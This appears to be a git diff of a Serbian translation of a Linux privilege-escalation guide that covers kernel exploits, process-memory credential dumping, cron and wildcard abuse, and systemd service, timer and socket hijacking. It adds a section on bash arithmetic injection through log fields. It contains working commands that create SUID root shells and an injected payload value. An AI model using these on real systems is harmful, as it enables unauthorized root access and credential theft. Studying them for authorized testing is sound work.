diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index e2866b079..ae28d1256 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -## Informacije o sistemu +## Sistemske informacije -### Informacije o OS-u +### Informacije o operativnom sistemu Počnimo sa prikupljanjem informacija o pokrenutom operativnom sistemu ```bash @@ -14,38 +14,38 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -Ako imate **write permissions** na bilo kojem folderu unutar promenljive `PATH`, možda ćete moći da hijack some libraries or binaries: +Ako **have write permissions on any folder inside the `PATH`** varijable, možda ćete moći da hijack some libraries or binaries: ```bash echo $PATH ``` -### Env info +### Info o okruženju -Ima li zanimljivih informacija, passwords ili API keys u environment variables? +Da li se u varijablama okruženja nalaze interesantne informacije, lozinke ili API ključevi? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Proverite kernel verziju i postoji li exploit koji se može iskoristiti za escalate privileges +Proverite verziju kernela i da li postoji exploit koji se može iskoristiti za escalate privileges. ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Možete pronaći dobar spisak ranjivih kernel verzija i neke već **compiled exploits** ovde: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) i [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -Drugi sajtovi na kojima možete naći neke **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +Možete pronaći dobar spisak ranjivih kernela i neke već **compiled exploits** ovde: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) i [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Drugi sajtovi gde možete naći neke **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Da biste izvukli sve ranjive kernel verzije sa te stranice možete uraditi: +Da biste izvukli sve ranjive verzije kernela sa tog sajta, možete uraditi: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Alati koji mogu pomoći u pretrazi kernel exploits su: +Alati koji mogu pomoći pri pretrazi kernel exploits su: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (izvršiti NA žrtvi, proverava samo exploits za kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (pokrenuti na victim-u, proverava samo exploits za kernel 2.x) -Uvek **pretraži kernel verziju na Google**, možda je tvoja kernel verzija pomenuta u nekom kernel exploitu i tada ćeš biti siguran da je taj exploit validan. +Uvek **pretraži kernel verziju na Google-u**, možda je tvoja verzija kernela navedena u nekom kernel exploit-u i tako ćeš biti siguran da je exploit validan. ### CVE-2016-5195 (DirtyCow) @@ -57,7 +57,7 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo verzija +### Sudo version Na osnovu ranjivih sudo verzija koje se pojavljuju u: ```bash @@ -73,20 +73,20 @@ Od @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg: verifikacija potpisa nije uspela +### Dmesg verifikacija potpisa nije uspela -Pogledaj **smasher2 box of HTB** za **primer** kako bi se ova vuln mogla iskoristiti +Proveri **smasher2 box of HTB** za **primer** kako se ova vuln može iskoristiti ```bash dmesg 2>/dev/null | grep "signature" ``` -### Dodatna enumeracija sistema +### Još sistemske enumeracije ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## Nabrojte moguće odbrane +## Nabrojte moguće odbrambene mere ### AppArmor ```bash @@ -123,8 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Ako se nalazite unutar docker kontejnera, možete pokušati da pobegnete iz njega: - +Ako se nalazite unutar docker containera, možete pokušati da iz njega pobegnete: {{#ref}} docker-security/ @@ -132,7 +131,7 @@ docker-security/ ## Diskovi -Proverite **šta je mounted i unmounted**, gde i zašto. Ako je nešto unmounted, možete pokušati da ga mount-ujete i proverite ima li privatnih informacija. +Proverite **what is mounted and unmounted**, gde i zašto. Ako je nešto unmounted, možete pokušati da ga mount-ujete i proverite ima li privatnih informacija. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -141,46 +140,46 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Korisni softver -Nabrojte korisne binaries +Navedite korisne binarne fajlove ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Takođe, proverite da li je **instaliran bilo koji kompajler**. Ovo je korisno ako treba da koristite neki kernel exploit, jer se preporučuje da ga kompajlirate na mašini na kojoj ćete ga koristiti (ili na sličnoj). +Takođe, proverite da li je instaliran **bilo koji compiler**. Ovo je korisno ako treba da koristite neki kernel exploit, pošto se preporučuje da ga compile-ujete na mašini na kojoj ćete ga koristiti (ili na sličnoj). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### Instaliran ranjiv softver +### Vulnerable Software Installed -Proverite **verziju instaliranih paketa i servisa**. Možda postoji neka stara Nagios verzija (na primer) koja bi mogla biti iskorišćena za escalating privileges…\ -Preporučuje se ručno proveriti verziju sumnjivijeg instaliranog softvera. +Proverite **verziju instaliranih paketa i servisa**. Možda postoji neka stara verzija Nagios-a (na primer) koja bi mogla biti iskorišćena za escalating privileges…\ +Preporučuje se ručno proveriti verziju instaliranog softvera koji deluje sumnjivo. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Ako imate SSH pristup mašini, možete koristiti **openVAS** da proverite zastareli i ranjiv softver instaliran na toj mašini. +Ako imate SSH pristup mašini, takođe možete koristiti **openVAS** da proverite zastareli i ranjivi softver instaliran na mašini. -> [!NOTE] > _Imajte na umu da će ove komande prikazati mnogo informacija koje će većinom biti beskorisne, zato se preporučuju aplikacije poput OpenVAS ili slične koje će proveriti da li je bilo koja instalirana verzija softvera ranjiva na poznate exploits_ +> [!NOTE] > _Imajte na umu da će ovi commands prikazati mnogo informacija koje će većinom biti beskorisne; zato se preporučuje korišćenje aplikacija poput OpenVAS ili sličnih koje će proveriti da li je neka instalirana verzija softvera ranjiva na poznate exploits_ -## Procesi +## Processes -Pogledajte **koji se procesi** izvršavaju i proverite da li neki proces ima **više privilegija nego što bi trebalo** (možda tomcat koji se izvršava kao root?) +Pogledajte **koji procesi** se izvršavaju i proverite da li neki proces ima **više privilegija nego što bi trebao** (možda tomcat koji se izvršava kao root?) ```bash ps aux ps -ef top -n 1 ``` -Uvek proverite da li su mogući [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detektuje ih proverom `--inspect` parametra u komandnoj liniji procesa.\ -Takođe **proverite svoje privilegije nad binarnim fajlovima procesa**, možda možete prepisati neki. +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ +Also **check your privileges over the processes binaries**, maybe you can overwrite someone. -### Praćenje procesa +### Process monitoring -Možete koristiti alate poput [**pspy**](https://github.com/DominicBreuker/pspy) za praćenje procesa. Ovo može biti veoma korisno za identifikovanje ranjivih procesa koji se često izvršavaju ili kada su ispunjeni određeni uslovi. +You can use tools like [**pspy**](https://github.com/DominicBreuker/pspy) to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met. -### Memorija procesa +### Process memory -Neki servisi na serveru čuvaju **podatke za prijavu u čistom tekstu u memoriji**.\ -Obično će vam trebati **root privileges** da biste čitali memoriju procesa koji pripadaju drugim korisnicima, stoga je ovo obično korisnije kada ste već root i želite otkriti više podataka za prijavu.\ -Međutim, imajte na umu da **kao običan korisnik možete čitati memoriju procesa koje posedujete**. +Some services of a server save **credentials in clear text inside the memory**.\ +Normally you will need **root privileges** to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials.\ +However, remember that **as a regular user you can read the memory of the processes you own**. > [!WARNING] > Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. @@ -194,7 +193,7 @@ Međutim, imajte na umu da **kao običan korisnik možete čitati memoriju proce #### GDB -Ako imate pristup memoriji FTP servisa (na primer) možete dobiti Heap i pretražiti u njemu podatke za prijavu. +If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. ```bash gdb -p (gdb) info proc mappings @@ -203,7 +202,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB скрипт +#### GDB skripta ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -216,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Za dati PID, **maps prikazuju kako je memorija mapirana u** virtuelnom adresnom prostoru tog procesa; takođe prikazuju **dozvole svake mapirane regije**. Pseudo-fajl **mem** **otkriva samu memoriju procesa**. Iz **maps** fajla znamo koje su **memorijske regije čitljive** i njihovi offseti. Koristimo ove informacije da **seek u mem fajlu i dump-ujemo sve čitljive regije** u fajl. +Za dati ID procesa, **maps prikazuju kako je memorija mapirana unutar virtuelnog adresnog prostora tog procesa**; takođe pokazuju **dozvole svake mapirane regije**. Pseudo fajl **mem** **otkriva samu memoriju procesa**. Iz **maps** fajla znamo koje su **memorijske regije čitljive** i njihove offset vrednosti. Koristimo ove informacije da **seek into the mem file and dump all readable regions** u fajl. ```bash procdump() ( @@ -231,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` pruža pristup **fizičkoj** memoriji sistema, a ne virtuelnoj memoriji. Virtuelni adresni prostor kernela može se pristupiti pomoću /dev/kmem.\ -Obično je `/dev/mem` čitljiv samo od strane **root** i **kmem** grupe. +`/dev/mem` omogućava pristup **fizičkoj** memoriji sistema, a ne virtuelnoj memoriji. Do virtuelnog adresnog prostora kernela može se pristupiti koristeći /dev/kmem.\ +Obično je `/dev/mem` čitljiv samo od strane **root** i grupe **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump za linux -ProcDump je reinterpretacija klasičnog ProcDump alata iz Sysinternals paketa alata za Windows, namenjena za Linux. Preuzmite ga na [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump je za Linux novoosmišljena verzija klasičnog ProcDump alata iz Sysinternals paketa za Windows. Nabavite ga na [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,40 +266,40 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Alati -Za dump a process memory možete koristiti: +To dump a process memory you could use: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Možete ručno ukloniti root zahteve i dumpovati process koji je u vašem vlasništvu -- Script A.5 iz [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root je potreban) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Možete ručno ukloniti root zahteve i dumpovati proces koji pripada vama +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (zahteva se root) -### Kredencijali iz Process Memory +### Kredencijali iz memorije procesa #### Ručni primer -Ako otkrijete da authenticator process radi: +If you find that the authenticator process is running: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Možete dump the process (pogledajte prethodne sekcije da pronađete različite načine da dump the memory of a process) i potražiti kredencijale unutar memorije: +Možete dumpovati proces (pogledajte prethodne sekcije da pronađete različite načine za dumpovanje memorije procesa) i potražiti credentials u memoriji: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Alat [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) će **ukrasti nešifrovane kredencijale iz memorije** i iz nekih **dobro poznatih fajlova**. Za ispravan rad zahteva root privilegije. +Alat [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) će **ukrasti podatke za prijavu u čistom tekstu iz memorije** i iz nekih **poznatih fajlova**. Zahteva root privilegije da bi ispravno radio. | Funkcija | Ime procesa | | ------------------------------------------------- | -------------------- | -| GDM lozinka (Kali Desktop, Debian Desktop) | gdm-password | +| GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (aktivne FTP konekcije) | vsftpd | -| Apache2 (aktivne HTTP Basic Auth sesije) | apache2 | -| OpenSSH (aktivne SSH sesije - korišćenje sudo) | sshd: | +| VSFTPd (Active FTP Connections) | vsftpd | +| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | +| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | -#### Pretraga Regex-a/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### Pretraga regex-a/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -314,9 +313,9 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Zakazani/Cron jobs +## Zakazani/Cron poslovi -Proverite da li je neki zakazani job ranjiv. Možda možete iskoristiti skriptu koja se izvršava kao root (wildcard vuln? možete li menjati fajlove koje root koristi? use symlinks? kreirati specifične fajlove u direktorijumu koji root koristi?). +Proverite da li je neki zakazani zadatak ranjiv. Možda možete iskoristiti skript koji se izvršava kao root (wildcard vuln? možete li izmeniti fajlove koje root koristi? koristiti symlinks? kreirati određene fajlove u direktorijumu koji root koristi?). ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -324,144 +323,167 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul ``` ### Cron putanja -Na primer, u _/etc/crontab_ možete pronaći PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Na пример, унутар _/etc/crontab_ можете пронаћи PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Obratite pažnju da korisnik "user" ima pravo pisanja nad /home/user_) +(_Obratite pažnju da korisnik "user" ima privilegije pisanja над /home/user_) -Ako u ovom crontabu root pokušava da izvrši neku komandu ili skriptu bez podešavanja PATH-a. На пример: _\* \* \* \* root overwrite.sh_\ +Аko у ovom crontabu root покуша да изврши неку команду или скрипту без подешавања PATH-а. На пример: _\* \* \* \* root overwrite.sh_\ Tada možete dobiti root shell koristeći: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron using a script with a wildcard (Wildcard Injection) +### Cron koji koristi skriptu sa wildcard-om (Wildcard Injection) -Ako skripta koju izvršava root sadrži “**\***” unutar komande, možete to iskoristiti za izvršavanje neočekivanih stvari (poput privesc). Primer: +Ako skripta koju izvršava root ima “**\***” unutar komande, možete to iskoristiti da izazovete neočekivane stvari (npr. privesc). Primer: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Ako je wildcard deo putanje kao** _**/some/path/\***_ **, nije ranjiv (čak ni** _**./\***_ **).** +**Ako je wildcard preceded of a path like** _**/some/path/\***_ **, nije ranjiv (čak ni** _**./\***_ **nije).** + +Pročitajte sledeću stranicu za više trikova za iskorišćavanje wildcard-a: -Pročitajte sledeću stranicu za više trikova za eksploataciju wildcard-a: {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Cron: prepisivanje skripte i symlink -Ako **možete izmeniti cron skriptu** koju izvršava root, možete vrlo lako dobiti shell: +### Bash arithmetic expansion injection in cron log parsers + +Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. Ako root cron/parser čita nepouzdana polja iz loga i ubacuje ih u aritmetički kontekst, napadač može ubaciti command substitution $(...) koji se izvršava kao root kada cron pokrene. + +- Zašto ovo radi: U Bash-u, expansions se dešavaju u sledećem redosledu: parameter/variable expansion, command substitution, arithmetic expansion, zatim word splitting i pathname expansion. Dakle, vrednost kao `$(/bin/bash -c 'id > /tmp/pwn')0` se prvo zameni (izvršavajući komandu), zatim preostali numerički `0` se koristi za aritmetiku tako da skripta nastavi bez grešaka. + +- Tipičan ranjiv obrazac: +```bash +#!/bin/bash +# Example: parse a log and "sum" a count field coming from the log +while IFS=',' read -r ts user count rest; do +# count is untrusted if the log is attacker-controlled +(( total += count )) # or: let "n=$count" +done < /var/www/app/log/application.log +``` + +- Eksploatacija: Naterajte da u parsirani log bude upisan tekst pod kontrolom napadača tako da polje koje izgleda numerički sadrži command substitution i završava cifrom. Osigurajte da vaša komanda ne ispisuje na stdout (ili je preusmerite) kako bi aritmetika ostala važeća. +```bash +# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): +$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 +# When the root cron parser evaluates (( total += count )), your command runs as root. +``` + +### Cron script overwriting and symlink + +Ako možete da **izmenite cron script** executed by root, možete veoma lako dobiti shell: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Ako skripta koju izvršava root koristi **direktorijum na koji imate potpuni pristup**, možda bi bilo korisno obrisati taj direktorijum i **napraviti symlink ka drugom direktorijumu** koji pokreće skriptu pod vašom kontrolom. +Ako skripta koju izvršava root koristi **directory u kojem imate full access**, možda bi bilo korisno obrisati taj folder i **napraviti symlink ka drugom folderu** koji sadrži script pod vašom kontrolom ```bash ln -d -s ``` -### Česti cron jobs +### Učestali cron jobovi -Možete pratiti procese da biste pronašli procese koji se izvršavaju svakih 1, 2 ili 5 minuta. Možda to možete iskoristiti i escalate privileges. +Možete pratiti procese da biste pronašli procese koji se izvršavaju svakih 1, 2 ili 5 minuta. Možda to možete iskoristiti i eskalirati privilegije. -Na primer, da biste **nadgledali svakih 0.1s tokom 1 minute**, **sortirali po najmanje izvršenim komandama** i obrisali komande koje su se najviše izvršavale, možete uraditi: +Na primer, da **pratite svakih 0.1s tokom 1 minuta**, **sortirate po manje izvršenim komandama** i obrišete komande koje su se najviše izvršavale, možete uraditi: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Takođe možete koristiti** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (ovo će nadgledati i navesti svaki proces koji se pokrene). +**Takođe možete koristiti** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (ovo će nadgledati i ispisati svaki proces koji se pokrene). ### Nevidljivi cron jobs -Moguće je kreirati cronjob **stavljanjem povratka karetke nakon komentara** (bez znaka novog reda), i cron job će raditi. Primer (obratite pažnju na karakter povratka karetke): +Moguće je kreirati cronjob **stavivši carriage return posle komentara** (bez newline karaktera), i cron job će raditi. Primer (obratite pažnju na carriage return karakter): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` ## Servisi -### Fajlovi _.service_ koji se mogu pisati +### Pisive _.service_ datoteke -Proverite da li možete da upišete bilo koji `.service` fajl, ako možete, vi **možete ga izmeniti** tako da on **pokreće** vaš **backdoor kada** je servis **pokrenut**, **restartovan** ili **zaustavljen** (možda ćete morati da sačekate da se mašina restartuje).\ -Na primer kreirajte vaš backdoor unutar `.service` fajla sa **`ExecStart=/tmp/script.sh`** +Proverite da li možete da pišete bilo koju `.service` datoteku; ako možete, možete je **izmeniti** tako da **izvršava** vaš **backdoor kada** se servis **pokrene**, **ponovo pokrene** ili **zaustavi** (možda ćete morati da sačekate da se mašina restartuje).\ +Na primer, kreirajte vaš backdoor unutar .service datoteke sa **`ExecStart=/tmp/script.sh`** -### Binarni fajlovi servisa koji su upisivi +### Pisivi binarni fajlovi servisa -Imajte na umu da ako imate **dozvole za pisanje nad binarnim fajlovima koje izvršavaju servisi**, možete ih izmeniti da sadrže backdoors, tako da kada se servisi ponovo izvrše ti backdoors budu izvršeni. +Imajte na umu da ako imate **prava za pisanje nad binarnim fajlovima koje izvršavaju servisi**, možete ih promeniti i ubaciti backdoors tako da kada se servisi ponovo izvrše backdoors budu izvršeni. -### systemd PATH - Relativne putanje +### systemd PATH - Relative Paths Možete videti PATH koji koristi **systemd** pomoću: ```bash systemctl show-environment ``` -Ako otkrijete da možete **pisati** u bilo kom od direktorijuma na putanji, možda ćete moći da **escalate privileges**. Treba da tražite **relativne putanje koje se koriste u konfiguracionim fajlovima servisa** kao što su: +Ako otkrijete da možete da **pišete** u bilo kojem folderu na toj putanji, možda ćete moći da **escalate privileges**. Treba da tražite **relativne putanje koje se koriste u konfiguracionim fajlovima servisa** kao što su: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Zatim, kreirajte **executable** sa **istim imenom kao relativni path binary** unutar systemd PATH foldera u koji možete pisati, i kada servis bude zatražen da izvrši ranjivu akciju (**Start**, **Stop**, **Reload**), vaš **backdoor će biti izvršen** (neprivilegovani korisnici obično ne mogu da startuju/stopuju servise, ali proverite da li možete da koristite `sudo -l`). +Zatim, kreirajte **executable** sa **istim imenom kao relativna putanja binary** inside the systemd PATH folder you can write, i kada se servisu zatraži da izvrši ranjivu akciju (**Start**, **Stop**, **Reload**), vaš **backdoor će biti izvršen** (neprivilegovani korisnici obično ne mogu da pokreću/zaustavljaju servise, ali proverite `sudo -l`). -**Saznajte više o servisima sa `man systemd.service`.** +**Learn more about services with `man systemd.service`.** -## **Timers** +## **Tajmeri** -**Timers** su systemd unit fajlovi čije ime se završava na `**.timer**` koji kontrolišu `**.service**` fajlove ili događaje. **Timers** mogu da se koriste kao alternativa cron-u jer imaju ugrađenu podršku za kalendarske vremenske događaje i monotoničke vremenske događaje i mogu se pokretati asinhrono. +**Tajmeri** su systemd unit files čija se imena završavaju sa `**.timer**` i koji kontrolišu `**.service**` fajlove ili događaje. **Tajmeri** se mogu koristiti kao alternativa cron-u jer imaju ugrađenu podršku za calendar time events i monotonic time events i mogu se pokretati asinhrono. -Možete izlistati sve timere sa: +You can enumerate all the timers with: ```bash systemctl list-timers --all ``` -### Tajmeri sa pravom za pisanje +### Upisivi tajmeri -Ako možete izmeniti tajmer, možete ga naterati da pokrene neku postojeću systemd.unit (npr. `.service` ili `.target`). +Ako možete izmeniti tajmer, možete ga naterati da pokrene neke postojeće systemd.unit (kao `.service` ili `.target`) ```bash Unit=backdoor.service ``` -U dokumentaciji možete pročitati šta je Unit: +> Jedinica koja će se aktivirati kada ovaj timer istekne. Argument je ime jedinice, čiji sufiks nije ".timer". Ako nije navedeno, ova vrednost podrazumevano pokazuje na service koji ima isto ime kao timer jedinica, osim sufiksa. (See above.) Preporučuje se da ime jedinice koja se aktivira i ime timer jedinice budu identično, osim sufiksa. -> Jedinica koja se aktivira kada ovaj timer istekne. Argument je naziv unit-a, čiji sufiks nije ".timer". Ako nije naveden, ova vrednost podrazumevano pokazuje na service koji ima isto ime kao timer unit, osim sufiksa. (Vidi gore.) Preporučuje se da naziv unit-a koji se aktivira i naziv timer unit-a budu identični, osim sufiksa. +Dakle, da biste zloupotrebili ovu privilegiju potrebno je da: -Dakle, da biste zloupotrebili ovu dozvolu, potrebno je da: +- Pronađite neku systemd jedinicu (kao `.service`) koja **izvršava binarnu datoteku koja je upisiva** +- Pronađite neku systemd jedinicu koja **izvršava relativnu putanju** i nad kojom imate **privilegije za pisanje** u **systemd PATH** (da biste se predstavili kao taj izvršni fajl) -- Pronađete neki systemd unit (npr. `.service`) koji **izvršava binarni fajl u koji imate permisiju za pisanje** -- Pronađete neki systemd unit koji **izvršava relativnu putanju** i imate **dozvole za pisanje** nad **systemd PATH** (da biste podmetnuli taj izvršni fajl) +**Learn more about timers with `man systemd.timer`.** -**Više o timer-ima saznajte u `man systemd.timer`.** +### **Omogućavanje timer-a** -### **Omogućavanje timera** - -Da biste omogućili timer, potrebne su root privilegije i da izvršite: +Da biste omogućili timer, potrebne su root privilegije i morate izvršiti: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Imajte na umu da se **timer** **aktivira** kreiranjem symlink-a ka njemu na `/etc/systemd/system/.wants/.timer` +Imajte na umu da se **timer** **aktivira** kreiranjem simboličkog linka ka njemu na `/etc/systemd/system/.wants/.timer` -## Soketi +## Sockets -Unix Domain Sockets (UDS) omogućavaju **komunikaciju procesa** na istoj ili različitim mašinama unutar client-server modela. Koriste standardne Unix descriptor fajlove za međuračunarsku komunikaciju i konfigurišu se preko `.socket` fajlova. +Unix Domain Sockets (UDS) omogućavaju **komunikaciju procesa** na istim ili različitim mašinama u okviru client-server modela. Koriste standardne Unix descriptor fajlove za međuračunarsku komunikaciju i podešavaju se pomoću `.socket` fajlova. -Sockets mogu biti konfigurisani koristeći `.socket` fajlove. +Sockets se mogu konfigurisati koristeći `.socket` fajlove. -**Saznajte više o sockets sa `man systemd.socket`.** U ovom fajlu može se podesiti nekoliko interesantnih parametara: +**Saznajte više o sockets pomoću `man systemd.socket`.** U ovom fajlu može se konfigurisati nekoliko interesantnih parametara: - `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Ove opcije se razlikuju, ali suštinski služe da **naznače gde će se slušati** socket (putanja AF_UNIX socket fajla, IPv4/6 i/ili broj porta koji će se slušati, itd.) -- `Accept`: Prima boolean argument. Ako je **true**, za **svaku dolaznu konekciju se pokreće instance servisa** i samo konekcioni socket se prosleđuje toj instanci. Ako je **false**, svi listening soketi sami po sebi se **prosleđuju startovanom service unit-u**, i samo jedna service unit se pokreće za sve konekcije. Ova vrednost se ignoriše za datagram sokete i FIFO-e gde jedna service unit bezuslovno rukuje celim dolaznim saobraćajem. **Podrazumevano je false**. Iz razloga performansi, preporučuje se pisati nove daemone na način pogodan za `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Prima jednu ili više komandnih linija, koje se **izvršavaju pre** ili **posle** nego što su listening **soketi**/FIFO-i **kreirani** i vezani, redom. Prvi token komandne linije mora biti apsolutno ime fajla, a zatim argumenti za proces. -- `ExecStopPre`, `ExecStopPost`: Dodatne **komande** koje se **izvršavaju pre** ili **posle** nego što su listening **soketi**/FIFO-i **zatvoreni** i uklonjeni, redom. -- `Service`: Specificira ime **service** unit-a **koji će se aktivirati** na **dolazni saobraćaj**. Ova opcija je dozvoljena samo za sokete sa Accept=no. Podrazumevano pokazuje na service koji nosi isto ime kao socket (sa zamenjenim sufiksom). U većini slučajeva nije neophodno koristiti ovu opciju. +- `Accept`: Prima boolean argument. Ako je **true**, za svaku dolaznu konekciju se **pokreće instanca servisa** i samo je konekcioni socket prosleđen toj instanci. Ako je **false**, svi listening sockets sami se **prosleđuju startovanom service unit-u**, i samo jedna service unit se pokreće za sve konekcije. Ova vrednost se ignoriše za datagram sockets i FIFO-e gde jedna service unit bezuslovno obrađuje sav dolazni saobraćaj. **Podrazumevano: false**. Iz razloga performansi, preporučuje se da novi daemoni budu napisani tako da budu kompatibilni sa `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Prima jednu ili više komandnih linija koje se **izvršavaju pre** ili **posle** kreiranja i bindovanja listening **sockets**/FIFO-a, redom. Prvi token komandne linije mora biti apsolutno ime fajla, zatim slede argumenti za proces. +- `ExecStopPre`, `ExecStopPost`: Dodatne **komande** koje se **izvršavaju pre** ili **posle** zatvaranja i 